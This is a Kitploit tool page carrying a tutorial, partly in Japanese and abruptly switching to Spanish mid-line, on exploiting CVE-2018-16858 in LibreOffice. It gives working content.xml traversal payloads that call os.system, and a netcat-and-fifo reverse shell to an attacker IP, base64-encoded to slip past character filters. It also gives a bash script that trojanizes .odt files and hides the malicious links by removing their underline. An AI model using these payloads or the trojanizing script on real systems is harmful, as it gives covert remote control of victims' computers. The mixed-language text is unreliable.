Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
libreofficeExploit1 — CVE-2018-16858 エクスプロイト実装 | Kitploit
ツール/GitHubGitHub/4nimanegra/libreofficeexploit1
エクスプロイトフレームワークエクスプロイトペネトレーションテストコマンド&コントロール学習と教育ペイロード開発
GitHub4nimanegra/libreofficeexploit1

libreofficeExploit1

CVE-2018-16858 エクスプロイト実装

リポジトリを見る
317年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

エクスプロイト生成の基本マニュアル

この記事では、プログラムの単純な脆弱性を利用して、そのプログラムを使用するシステムにバックドアを開く方法を説明します。

問題の脆弱性は、オフィススイートLibreOfficeのCVE-2018-16858で定義されています。この脆弱性は、特別に作成されたファイルにおいてディレクトリトラバーサルを実現し、Pythonコードの実行を可能にします。この実行は、ユーザーがドキュメントに対してアクションを起こしたときにリンクまたはジャンプし、マクロの実行に対する警告が一切ユーザーに与えられることなく行われます。

本書は5つのパートに分かれています。最初のパートでは、脆弱性自体、OpenDocumentの解凍方法、ローカルで実行したいスクリプトを実行するための構造の変更方法、および実行とテストのためにドキュメントを再構成する方法について説明します。

2番目のパートでは、ローカル実行を使用してドキュメントが開かれたシステム上で任意のコマンドを実行する方法を説明し、リモートコマンド実行を可能にするバックドアを生成します。

3番目のパートでは、直接通信またはリバース通信によるバックドアを作成するドキュメントを生成するプロセスを自動化し、接続先のIPアドレスとポートを指定します。

4番目のパートでは、この脆弱性をmetasploitシステムに統合し、msfconsoleを使用してmetasploitのエクスプロイト方法と互換性のあるドキュメントを生成できるようにします。これにより、metasploitスイートで定義された任意のペイロードを実行するコードとして選択できるようになります。

5番目で最後のパートでは、前述の手順によって感染したLibreOfficeタイプのファイルを識別できる検出プロセスをアンチウイルスシステムに統合する方法を示します。アンチウイルスClamAVの検出フォーマットを使用し、アンチウイルスが持つ検出プロセスをより深く理解し、この種の脅威からの防御を容易にします。

全プロセスはDebianベースのLinuxシステムを対象としていますが、ここで説明する内容は詳細に記述されているため、他のシステムにも適用できます。元のCVEの脆弱性と概念実証はWindows版LibreOfficeに対して行われたため、Windows版でも同様に本書の内容を適用するために、常にそのソースを参照できます。

脆弱性の説明

LibreOffice(および遺伝的にApache OpenOffice)は、最新バージョン(6.1.5)より前のバージョンに、ユーザーがマクロの実行について警告されずに、コンピュータ上の任意の場所にあるPythonコードを実行できる脆弱性があります。

この脆弱性を確認するために、テキストエディタで新しいドキュメントを作成し、何か文字を入力して選択し、ハイパーリンクを生成します。テキストにハイパーリンクを作成するには、Insertメニューを選択し、その中のHyperlinkオプションを選択します(テキストを選択してCtrl+Kキーの組み合わせを使用することもできます)。

次のダイアログが表示されます:

ハイパーリンクを定義するには、URLを挿入してApplyをクリックします。ダイアログボックスの下部にあるFurther Settingsと読める部分のURLオプションの他に、Playアイコンのボタンがあり、特定のアクションにイベントをリンクすることもできます。ここで、アクションとしてPythonコードを実行することを定義します。

そのボタンをクリックすると、新しいダイアログが開きます:

その中で、3つの基本イベントと使用するスクリプトを選択できます。イベントとしてMouse Over Objectを選択し、スクリプトとしてLibreOffice Macrosファミリーのスクリプト内のPython Samplesを選択します。そのオプション内には、TableSampleという名前のデフォルトスクリプトのみが存在し、それを選択します。

これを行った後、ハイパーリンクに変換したテキストの上にマウスを移動すると、テーブルがあるドキュメントを含むウィンドウが開くのがわかります。これは、マウスをハイパーリンクの上に移動するイベントをPythonスクリプトに関連付けたことを意味します。私たちが意図するのは、このアクションを好きな別のアクションに置き換えることです。

そのために、作成したドキュメントを保存し、LibreOfficeを終了して、コンソールで一連のコマンドを実行します。

OpenDocumentを理解する

ODTドキュメント形式は、内部に一連のファイルを含むzipにすぎません(Microsoft OfficeのDOCX形式も非常に似ています)。そのため、最初に行うことは、zipファイル解凍ツールを使用してファイルを解凍することです。

ここでは、unzipというコマンドラインツールを使用します。次の文を実行するだけです:

root@kitploit:~
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt

これにより、OpenDocumentタイプのファイルに実際に含まれているファイルが表示されます。私たちにとって最も重要なのは、mimetypesファイル、content.xmlファイル、およびstyles.xmlファイルです。

mimetypeファイルはzipのファイルリストの最初に表示される必要があるため、ファイルを再パッケージ化する際には、パッケージ化ツールで強制的にそのようにしないと、ファイルがOpenDocumentとして解釈されません。

content.xmlファイルには、書式設定されたテキストと、テキストをどのように表示するかを示す特定のタグが混在した、作成したドキュメントのテキストが含まれています。

例えば、次の行では:

root@kitploit:~
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>

text:style-name属性によって定義された特定のスタイルで書かれたテキスト段落の例を見ることができます。テキスト段落は、開始タグ<text:p>と終了タグ</text:p>の間にあります。

作成したハイパーリンクに関連付けられたスクリプトも、非常に簡単に見ることができます。content.xmlのテキスト内でpythonという単語、またはロードしたpythonスクリプトの名前(この場合はTableSample.py)を検索すると、変更すべき行を簡単に見つけることができます:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

この行には、マウスをハイパーリンクの上に置いたときにロードされるPythonスクリプトのパス(TableSample.py)と、実行されるPythonコードの関数(この場合はcreateTable)が含まれています。

LibreOfficeに内在する問題は、ドキュメントを読み取るときに、ロードするPythonコードの値が適切にサニタイズされないことです。プログラムはファイルパスから**../**文字をサニタイズしないため、ドキュメントが開かれたシステム上の任意のファイルにアクセスできます。さらに、アクセスしたファイルがPythonコードを含むファイルであれば、そのファイルで定義された任意の関数を実行できます。

単純なコマンド実行の最初のテスト

最初の概念実証として、ハイパーリンクの上にマウスを移動したときに電卓(この場合はgalculatorプログラム)を起動させるようにします。LibreOfficeが実行を期待するスタイルで、関数内でコマンドを実行できるPythonプログラムを生成する必要があります。そのために、パス**/tmp/prueba.py**に次のコードを生成します:

root@kitploit:~
import os;

def ejecuta():
	os.system("galculator");

この小さなコードで目的を達成できます。あとは、odtファイル内の呼び出しに、Pythonファイル**/tmp/prueba.pyと関数名ejecuta**の両方を追加するだけです。したがって、Pythonを呼び出していた行は次のようになります:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/>

見てわかるように、ファイルシステムのルートまで確実に昇格するために多数の**../を追加し、そこからPythonファイル(prueba.py)への特定のパスを追加しました。$の後には、電卓を起動させる関数ejecuta**という単語が追加されています。

これを行った後、最初のファイルとしてmimetypeを配置することを忘れずに、odtファイルを再パッケージ化します。zipユーティリティを使用する場合は、odtを解凍したディレクトリ(悪意のあるcontent.xmlを含む)で次のコマンドを実行するだけです:

root@kitploit:~
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .

これを行った後、LibreOfficeでファイルを開き、ハイパーリンクの上にマウスを移動すると電卓プログラムが実行されるのを観察します。

この最初のステップでは、パラメータなしで実行できる関数を持つPythonコードを生成する必要があります。実装は簡単ですが、実際のペネトレーションテストで信頼性のあるまたは再現可能な環境で使用するのは難しいかもしれません。

LibreOfficeバージョン6.1以降では、Python関数の呼び出しにパラメータを渡すことが可能です。これにより、プログラムの合法的なマクロ使用を望む人々にとってスクリプト作成の自由度が高まりますが、同時にソフトウェアの隙間を探す人々にとってはまたとない機会を提供します。

先ほど述べたように、実際に使用した方法では、任意のコマンドを実行するためにシステムコールを行うには、osクラスとsystem関数を呼び出します。電卓を呼び出すためにパラメータとして文字列galculatorを渡したのがそれです。Pythonクラスの良いところは、それらがどのパスにあるかを知ることができることであり、関数にパラメータを渡せることを利用するために、そのクラスの場所を探すことができます。先ほどは/tmp/にあるprueba.pyというPythonプログラムの関数を実行しました。今度は、システムライブラリの1つであるos.pyというPythonプログラムにあるsystem関数を直接呼び出します。 例えば、現在のLinuxシステムでは、通常**/usr/lib/python3.5/os.pyにありますので、先ほどのパス/tmp/prueba.pyをこの新しいパスに変更します。関数ejecutaを関数systemに変更し、さらにこの関数にパラメータを渡せるため、電卓プログラムgalculator**、または任意の他のプログラムを、LibreOfficeドキュメントが開かれるマシンで実行するPythonファイルを生成することなく、直接実行できます。

以前はcontent.xmlファイルに次の文字列がありました:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/>

今は単に次のようになります:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

LibreOfficeドキュメントとしてファイルをパッケージ化する方法はまったく同じです。結果として、特定のパスにPythonプログラムを配置する必要なく、odtドキュメントを開くだけで済みます。ただし、ドキュメントが開かれるバージョンが少なくともLibreOffice 6.1以上である必要があります。

ファイルが開かれ、マウスがドキュメントのリンクの上に置かれると、前の例と同じように電卓アプリケーションが起動します。

Officeドキュメントによるバックドアの作成と自動実行

ドキュメントが開かれたときに実行されるコマンドはローカルマシンで実行されるため、その実行の用途の1つは、他の場所からリモートでコマンドを実行できるバックドアを開くことです。

非常に簡単なバックドアを作成するには、ncコマンドを使用し、fifoを作成して同じポートでコマンドをコンピュータに送信し、その実行結果を取得できるようにします。コマンド実行のための脆弱性への最初のアプローチでは、Pythonプログラムを作成する必要がありました。アイデアは、エクスプロイトするコンピュータに追加のコードをアップロードする必要がないようにすることなので、バックドアの生成にはシステムコマンドを使用します。

ncコマンドはシステムコマンドで、ローカルシステムにポートを開いたり、リモートシステムのポートに接続したりして、その接続で受信したものを標準出力に出力し、標準入力に入力されたものを他のマシンへの接続に送信することができます。パイプ**|を使用して、実行中のコマンドの画面出力を別のコマンドに渡すことができるため、ncコマンドと/bin/bashコマンドを連結すると、リモートコマンド実行の簡単な解決策が得られます。nc ip puerto | /bin/bashを実行すると、ncコマンドが行う接続を介して届いたものが/bin/bashコマンドに渡され、シェルが実行されるため、接続したコンピュータから送信されたすべてのコマンドが実行されます。しかし、これらのコマンドの標準出力はncコマンドに返されないため、その出力は表示されません。/bin/bashコマンドの標準出力を別のポートを使用する新しいnc**コマンドにリダイレクトすることもできますが、その場合、コマンドの送信とコマンド出力の受信に2つのポートが必要になり、やや粗雑です。

簡単な解決策はfifoを使用することです。mkfifoコマンドは、書き込みと読み取りを同時に実行できるファイルを生成します。そのため、fifoファイルを作成し、それをncコマンドの入力として使用して、そのファイルに書き込まれたすべてのものが接続を介して送信されるようにし、また**/bin/bash**コマンドの出力として使用して、そのコマンドで実行されたすべての出力がfifoファイルに書き込まれるようにします。

任意のLinux端末でサーバーとして機能するバックドアを作成するための一連のコマンドは次のとおりです:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p puerto < /tmp/lalala | /bin/bash > /tmp/lalala;

他のコンピュータからそのマシンに接続するには、次のコマンドを実行する必要があります:

root@kitploit:~
user@host:~/$ nc ip puerto

ここで、ipはバックドアがあるマシンのIPアドレス、puertoはバックドアを実行したマシンでncを実行する際に指定した値と同じです。

ターゲットマシンのネットワーク上のファイアウォールの問題により、そのマシンをサーバーとして使用できない場合は、逆の方法で、バックドアのあるマシンが自分の制御下にあるサーバーに接続するようにできます。そのためには、まず自分のマシンで次のコマンドを実行します:

root@kitploit:~
user@host:~/$ nc -l -p puerto

そして、バックドアのあるマシンで、次の非常に似た一連のコマンドを実行します:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;

この最後のコマンドに表示されるIPアドレスは、自分のマシンのものです。明らかに、リモートマシンはそのIPアドレスに到達可能でなければ、リモートシステムで実行するコマンドを送信するための接続を行うことができません。

したがって、バックドアのあるコンピュータで、コマンドを1行にまとめるには、次の行を実行します:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;nc -l -p puerto < /tmp/lalala | /bin/bash > /tmp/lalala;

または次の行:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;

これを理解した上で、libreofficeファイルを介していずれかのバックドアが実行されるようにすれば、ドキュメントを開いたコンピュータをリモート制御できます。

明らかに、tmpに導入したPythonファイルを変更し、電卓の代わりにバックドアを実行するようにすれば、自動実行が可能になります:

root@kitploit:~
import os;

def ejecuta():
	os.system("mkfifo /tmp/lalala;nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;");

このバックドア生成の流れに従って、今度はOfficeドキュメントに実装できます。その方法は比較的簡単で、Linuxの電卓コマンドをバックドアを開くコマンドに変更するだけです。

電卓コマンドの代わりに実行されるバックドアは次のとおりです:

root@kitploit:~
mkfifo /tmp/lalala; nc IP PUERTO < /tmp/lalala | /bin/bash > /tmp/lalala;

これはリバース接続のバックドアであるため、動作させてシェルを取得するには、IPアドレスとポートPUERTOでホストにソケットを開く必要があります。これらの値は、自分のホストのIPと開いているポートに変更する必要があります。

このコマンドには1つの問題があります:LibreOfficeは**<や|**などの一部の特殊文字の使用を許可しないため、エクスプロイトでこれらの文字を使用するには何らかの方法で回避する必要があります。

おそらく簡単なオプションはbase64を使用することです。Base64はほとんどすべてのLinuxマシンにデフォルトでインストールされており、そのアルゴリズムでエンコードとデコードの両方を実行できるプログラムです。したがって、実行したいものをbase64でエンコードし、それをファイルにリダイレクトしてからデコードして実行できます。

少し粗雑かもしれませんが、非常に透過的で理解しやすいバックドアの実装方法を使用します。その後、同じアイデアでさらにコンパクトになるように複雑化することもできます。このガイドは教育目的で作成されているため、より粗雑だがコマンドと実行が非常にシンプルな実行形式を維持します。

ターミナルで次のコマンドを実行すると、ペイロードのbase64バージョンを取得できます:

root@kitploit:~
echo "mkfifo /tmp/lalala; nc IP PUERTO < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64

結果は次のようになります:

root@kitploit:~
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=

これで、エクスプロイトでの実行に問題を引き起こす可能性のある文字はなくなりました。しかし、これをsystemコマンドに導入しても何も実行されません。実際には、echoでその内容をファイルにリダイレクトできます。これにより、デコードされたときに実行可能なファイルが作成されるため、base64コマンドでデコードするためのパラメータを使用して、別のファイルにリダイレクトするファイルを生成します。今度はそれが実行されるファイルです。最初に各コマンドを断片化して、何をしているか説明し、その後エクスプロイトのsystem呼び出し内でそれらをすべて使用します:

まず、LibreOfficeドキュメントを開くマシンの**/tmp/ディレクトリにlalala.base64**というbase64ファイルを生成します:

root@kitploit:~
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64Como ese archivo codificado no nos sirve de nada, lo descodificaremos llevando la salida hacia un archivo que después queremos ejecutar en el mismo directorio pero llamado **lalala.sh**.

base64 -d /tmp/lalala.base64 > /tmp/lalala.sh

Dicho archivo no tiene permisos de ejecución por lo que deberemos darle dichos privilegios.

root@kitploit:~
chmod 777 /tmp/lalala.sh

Después deberemos ejecutar el archivo bash que hemos generado.

root@kitploit:~
/tmp/lalala.sh

Para finálmente borrar todos los archivos intermedios que se han generado en el ordenador.

root@kitploit:~
rm /tmp/lalala.sh
rm /tmp/lalala.base64

Dentro de la llamada a la función system de nuestro exploit será la llama de todos estos comandos separados por ;, con lo que se ejecutará un comando detrás del otro, quedando el siguiente comando o payload que se deberá meter dentro de la llamada a system de nuestro contents.xml en lugar de la calculadora. Finalmente, donde teníamos el siguiente contenido que permitía la ejecución de la calculadora:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

Pondremos el siguiente contenido:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&amp;location=share" xlink:type="simple"/>

Empaquetando de nuevo el documento LibreOffice ya tenemos un documento que al pasar el ratón por encima ejecutará nuestro backdoor.

Antes de que se abra el documento y como se ha comentado anteriormente deberemos tener previamente un puerto en escucha, y en cuanto el backdoor se conecte a nuestro host ya podremos ejecutar los comandos en el sistema remoto donde se ha abierto el documento LibreOffice.

Automatización del proceso, generando un programa que me permita infectar documentos Office

Como siguiente paso, y como paso previo a la generación de un módulo de metasploit se debe ser capaz de automatizar y generalizar el proceso. Esto ayuda a comprobar si se tienen claros los cambios a realizar para poder modularizar y describir de forma concreta los problemas que se deben solucionar para hacer un programa genérico que permita infectar los documentos LibreOffice con el payload elegido. En esta sección realizaremos un pequeño script que permita infectar archivos de LibreOffice con una puerta trasera.

El script requerirá de tres parámetros, el documento office, la dirección IP a la que se debe conectar el ordenador una vez que se abra el documento Office además del puerto al que debe conectarse. Tras ejecutar el script deberemos obtener un documento LibreOffice con el backdoor introducido dentro de él. Como debemos de descomprimir el archivo zip, requeriremos que el directorio donde se ejecuta nuestro script este limpio por lo que deberemos comprobarlo dentro de él.

Con idéa de que el lenguaje no suponga un problema se utilizará bash script que permitirá realizar un script, puede que algo sucio, pero que permitirá llamadas a programas GNU que realizarán el trabajo más árduo. después todo ese trabajo que automatizan los programas de GNU habrá que o bien programarlo a mano o bien utilizar librerías que ayuden en el proceso cuando se genere el módulo de metasploit.

El script empezará exigiendo que el archivo que se deséa troyanizar exista y en caso contrario diremos al usuario que el archivo no existe:

root@kitploit:~
if [ -e $1 ]; then

	#aquí irá el codigo de programa.

else
	echo "The odt file does not exists!!";

fi;

El if ejecuta la acción que tiene dentro cuando se cumple la condición que tiene entre los corchetes. En bash la condición -e devuelve verdadedo si existe un fichero con el nombre que se pone a continuación. En lugar de un nombre fijo se ha puesto $1 que en bash se corresponde con el primer parámetro que ha introducido el usuario en la línea de ejecución del script. En nuestro caso, el primer parámetro especifica el archivo .odt que se desea troyanizar.

Se ha puesto la condición de que en el directorio donde se ejecuta el comando, esté vacío, esto es símplemente para hacernos el trabajo más sencillo, así que deberemos comprobarlo antes de continuar con la primera sección del programa. Esta vez lo que se hará será hacer que el script ejecute la orden ls -a y comprobaremos que sólo existen en el directorio de ejecución dos archivos. Los correspondientes al directorio . y el correspondiente al directorio ... Esto lo consiguiremos mediante la siguiente sección de código:

root@kitploit:~
I=0;

for fichero in `ls -a`; do

	I=$(($I+1));

done;

if [ $I -gt 2 ]; then

	echo "At least one file exists on the directory. Exiting.";

else


fi;

En esta sección código se está inicializando la variable I con el valor 0. después mediante un bucle for se recorren cada uno de los elementos que compongan la salida del comando ls -a y en cada iteración del bucle la variable fichero cambiará de valor por el nombre de cada elemento, en este caso con el nombre de cada fichero del directorio de trabajo. En bash poner un comando entre las comilla especiales ` permite que el comando se ejecute y que podamos utilizar su salida por pantalla para devolverla en una variable, o para utilizarla en bucles como es nuestro caso. Dentro del bucle simplemente lo que se esta haciendo es aumentar el valor de la variable I en 1. En bash script las variables que están a la derecha del igual, de las que se deséa obtener un valor, se deben de preceder siempre por un signo de dolar $. Como ademas se desea realizar una operación matemática se deberá envolver la operacion que se deséa realizar $I+1 entre $(( y )) lo que indica al interprete de bash que estamos en modo matemático y debe realizar operaciones con lo que hay dentro.

Tras el bucle, la variable I debería valer 2 si estamos en un directorio vacío o más de 2 si estamos en un directorio con algún archivo. Por lo que mediante una condición verificaremos si la variable vale más de 2 con intención de parar el programa y avisar al usuario. De nuevo usaremos un if pero esta vez usaremos la comparación mayor que, que en bash se escribe -gt de las siglas en ingles de "greater than". Cómo se ve en la pieza de código, si tenemos un valor mayor que 2 se notifica al usuario del error, en caso contrario se seguirá la ejecución de las demás instrucciones.

Como última comprobación se realizará la comprobación de que el usuario ha introducido 3 parámetros. Eso se hará simplemente mirando si la variable $3 está vacía. Dicha variable especifica que se ha introducido el argumento número 3, por lo que si está vacía significa que la instrucción ejecutada por el usuario no tiene 3 argumentos de entrada. Se compara simplemente con el caracter vacío y en caso de estar vacía se indica al usuario de que ha cometido un error ejecutando el script. El código de esto vuelve a ser bastante simple:

root@kitploit:~
	if [ "" == "$3" ]; then

		echo "I need an IP and a port to connect to.";

	else

		#continuamos con el programa.

	fi;

Después de dichas comprobaciones se empezará con la ejecución de órdenes que permitirán realizar la troyanización del documento. Se empieza con la ejecución del comando unzip para descomprimir el archivo LibreOffice. En caso de éxito se seguirá el proceso, si no, se parará.

root@kitploit:~
		unzip $1;

		if [ $? != 0 ]; then

			echo "some error has occurr!!!Exiting!!";
			exit;

		fi;

La primera línea de esta sección simplemente esta descomprimiendo el archivo que le ha indicado el usuario. En el condicional lo que se está haciendo es comprobar si la ejecución del comando unzip se ha realizado con éxito mediante el código de salida del programa. Ese código de salida lo devuelven todos los programas que se pueden ejecutar a través de consola y por estándar, cualquier valor distinto de 0 estará indicando que el programa ha fallado. La forma de obtener dicho código de error se hace a través de la variable $? que contiene el código de salida del último comando ejecutado.

En el condicional simplemente comprobaremos que séa 0 y en caso de no serlo notificaremos al usuario con un mensaje. después de dicha notificación ejecutamos un exit que permite parar la ejecución del script en ese punto exacto para evitar que el script siga ejecutando las siguientes líneas.

Recordemos que una vez descomprimido el fichero se deben de cambiar dos cosas en el contenido del zip, el archivo content.xml que es donde se introduce el troyano en si y el archivo styles.xml que es donde se cambia el formato que tienen los hipervínculos para que el usuario que abre el archivo no sospeche del problema.

El payload que se va a introducir es el mencionado en el apartado anterior, deberá estar en base64 por lo que guardaremos dicha carga útil en una variable. Además se cambiará de nombre los archivos que se deben modificar con intención de poder leerlos y modificarlos en unos nuevos con el nombre original. De manera que los archivos con el nombre original serán reálmente los archivos modificados:

root@kitploit:~
		PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

		mv content.xml content.xml.NEW;

		mv styles.xml styles.xml.NEW;

El único cambio respecto al payload original comentado en el apartado anterior es que donde se indicaba la dirección IP y el puerto se utilizan el argumento 2 y 3 que ha puesto el usuario. Como se vé, se hace una operación parecida a la realizada con el for que se utiliza para contar el número de ficheros del directorio pero esta vez la salida del comando en lugar de ir a parar a la vriable del for la guardamos en una variable que se ha llamado PAYLOAD. Como se observa se ejecuta también el cambio de nombre de los archivos indicados mediante el comando mv.

Con intención de cambiar el contenido de contents.xml, ahora llamado contents.xml.NEW, el comando que se puede utilizar es el comando sed. Sed es un comando básico de la suite de comandos Unix que permite, entre otras cosas, la sustitucion de ciertas expresiones regulares por otras. El cambio que se debe hacer en el archivo content.xml.NEW es la búsqueda de todas las entradas que tengan la forma:

root@kitploit:~
<text:p text:style-name="Standard">

Que no es mas que el tag utilizado por LibreOffice para definir el texto. En realidad para definir un texto cualquiera basta con que empiece por <text:p y termine por > para añadir justo antes el link que permite la ejecución junto con el PAYLOAD que se ha realizado con anterioridad. Algo que quedará de la forma:

root@kitploit:~
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">

Donde PAYLOAD se modifica por el código en base64 calculado con la dirección IP elegida y el puerto elegido. Además, después de esta inserción se debe dejar intacto el tag del párrafo de texto mencionado con anterioridad.

Además, se debe indicar la terminación del tag que se pone de forma adicional por lo que en todo tag de terminación de texto </text:p> se deberá cambiar por </text:a></text:p>.

Para este fin se hará uso del comando sed que permite que todo lo que se inserte por la entrada estándar sea modificado, el formato del comando es el siguiente:

root@kitploit:~
sed s/"busqueda"/"cambio"/g

La s dice a sed que deseamos realizar una sustitucion, el primer string marcado en el ejemplo como busqueda es lo que que el comando va a modificar de lo que se le pase por la entrada estándar. En el comando de ejemplo el string cambio es por lo que sed va a cambiar lo que se deséa buscar. La letra g indicada tras las dos palabras permiten que no sólo haga el cambio con la primera palabra que cumpla el criterio de busqueda, si no con todas las palabras de la entrada que la cumplan. De manera que si en el comando tal y como está escrito se le pasa por pantalla la siguiente frase:

root@kitploit:~
la busqueda de sed permite busquedas y cambiarlas por algo.

El comando sed devolvera la siguiente frase:

root@kitploit:~
la cambio de sed permite cambios y cambiarlas por algo.

Además sed permite por un lado expresiones regulares, por lo que los carácteres *, ., ^, [ y ] tienen significados especiales además en el segundo parámetro del sed, el que permite definir el cambio, si se introduce el caracter & permitirá sacar el patrón de búsqueda por pantalla. No es intención de este tutorial entrar en todos los pormenores del sed así que simplemente se describirán los comandos que se ejecutan y su función. Se hará uso de las pipes | que permiten la salida de un comando pueda ser la entrada del siguiente.

root@kitploit:~
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;

En este comando se está pasando el archivo content.xml.NEW a dos ejecuciones consecutivas del comando sed. En el primer sed, se está introduciendo la parte del payload, se busca el string <text:p seguido por un número indeterminado de cualquier caracter que no sea >. También se exige que el caracter anterior al > no sea un fin de tag. Dicha expresion regular se expresa de la siguiente forma:

root@kitploit:~
<text:p [^>]*[^\/]>

Dicha cadena encontrada se va a introducir en la salida del comando sed, ya que estamos insertando el caracter & en la salida seguido del tag del enlace en el cual asignamos también la acción de que cuando pasemos el ratón por encima se ejecute el script en python que deseeamos. Mayormente es una copia del tag utilizado poniendo en medio el PAYLOAD que se ha generado mediante la variable de bash llamada $PAYLOAD.

Lo que se obtiene de ese cambio se le aplica el cambio determinado con el segundo sed, que buscará la terminación del tag de texto </text:p> y en la salida se usará el mismo tag precedido de la terminación del tag del link para que cuando se encuentre el texto </text:p> la salida que se obtenga sea </text:a></text:p>.

Con ámbos cambios ya se habrá conseguido que el archivo content.xml.NEW se transforme en el archivo que se deséa por lo que la salida tras realizar los sed, lo introduciremos en el archivo de salida content.xml.

Una vez hecho eso, ya no se necesitará el archivo temporal content.xml.NEW por lo que se procederá a su borrado mediante el comando rm.

root@kitploit:~
rm content.xml.NEW

Se deberá tambien de hacer una modificación de cara a que los hipervinculos generados en el contenido no se visualicen como tal en al abrir el archivo. Por lo que se debe eliminar el subrayado que tienen por defecto los hipervínculos. En el fichero llamado styles.xml es donde LibreOffice guarda los estilos en formato xml y que se puden modificar con cambios en el texto.

El estilo por defecto que tienen los hipervinculos en LibreOffice se llama Internet_20_link, de modo que lo primero que se debe hacer es cambiar el nombre del estilo por defecto para llamarle de una forma que LibreOffice no vincule el formato definido con dicho estilo que fuerza el subrallado. Simplemente a todo estilo llamado así se le añadirá un 2 al final de modo que dicho estilo no se utilice en el documento en caso de que esté definido. Por otro lado, se definirá un estilo nuevo llamado exactamente así pero en el que se determinará que no esté subrayado. El formato en xml de dicho estilo es el siguiente:

root@kitploit:~
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>

La forma más sencilla de definir un estilo y saber cómo se códifica en el formato de LibreOffice probablemente séa crear un estilo nuevo, definirlo como se desee para después guardarlo y desempaquetar el documento para mirarlo en el archivo styles.xml. En este caso como se puede ver leyendo un poco los atributos del tag, lo único que se ha definido en el estilo es que no esté subrallado y sin ningún color especial.

